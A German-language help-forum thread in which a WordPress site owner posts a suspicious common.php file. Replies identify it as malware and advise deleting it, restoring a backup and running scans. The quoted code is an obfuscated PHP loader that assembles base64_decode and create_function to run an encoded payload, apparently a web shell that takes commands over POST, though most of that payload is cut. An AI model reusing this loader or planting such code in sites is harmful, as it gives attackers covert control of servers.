2017-06-20 3 views
2

Ich habe Probleme mit einer meiner Wordpress-Seiten. (Anmelden ständig Benutzer und nicht lassen Menschen Login)beschädigt/gehackt common.php Datei?

Meine denken Hosting der Route ist die common.php Dateien (/public_html/wp-content/common.php)

Kann jemand irgendein Licht werfen auf das, was die Dateien machen eigentlich? Kann ich es einfach löschen und wird WordPress eine neue Datei erzeugen?

common.php Code:

<?php 

$alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6"; 
$string = "Cmdsb2JhbCAkYXV0aF9wYXNzLCRjb2xvciwkZGVmYXVsdF9hY3Rpb24sJGRlZmF1bHRfdXNlX2FqYXgsJGRlZmF1bHRfY2hhcnNldCwkc29ydDsKZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsKCiRhdXRoX3Bhc3MgPSAnZGU0OTA5YzUxZWZiNjZlNTgwYzMyZTk5NTFlZGI1ZG 

* ich hier eine Menge des Codes ausgeschnitten haben musste, wie es über die normale Zeichenbegrenzung war (abot 90000 !!)

J10gPSAkZGVmYXVsdF9hY3Rpb247CgllbHNlCgkJJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7CmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsKZXhpdDsKCg=="; 
    $array_name = ""; 
    foreach([4,29,34,38,42,9,21,7,38,17,37,7,38] as $t){ 
     $array_name .= $alphabet[$t]; 
    } 
    $a = strrev("noi"."tcnuf"."_eta"."erc"); 
    $f = $a("", $array_name($string)); 
    $f(); 

Vielen dank im Voraus

Reiche

+0

Ja, es sieht aus wie Ihre Website gehackt wurde. Wahrscheinlich gibt es irgendwo einen 'eval', der diesen Code ausführt, sobald er entschlüsselt ist. Möglicherweise möchten Sie eine frühere Sicherung wiederherstellen. –

Antwort

2

löschen die Datei. Es ist kein Teil des WordPress-Installations- oder Uprade-Pakets. Ich nehme an, dass die Datei bösartig ist und dass Ihr Hosting-Account/Ihre persönlichen Computer-/Anmeldedaten kompromittiert wurden oder so ähnlich.

Dies ist der Standard-Support-doc bezeichnet in diesem Fall:https://codex.wordpress.org/FAQ_My_site_was_hacked

Dann, wenn Sie Ihre Website sauber ist:
http://codex.wordpress.org/Hardening_WordPress

+0

Vielen Dank für die schnelle Antwort, ich werde die Datei jetzt entfernen und sehen, ob es die Probleme klären, die wir hatten. –

+0

Sie könnten Online-Malware-Scanner verwenden. Vielleicht ein Plugin wie 'Wordfence', um zu prüfen, ob es mehr infizierte Dateien gibt. –

+0

Prost, Ich habe iThemes Securtiy so werde jetzt noch einen Scan laufen –

Verwandte Themen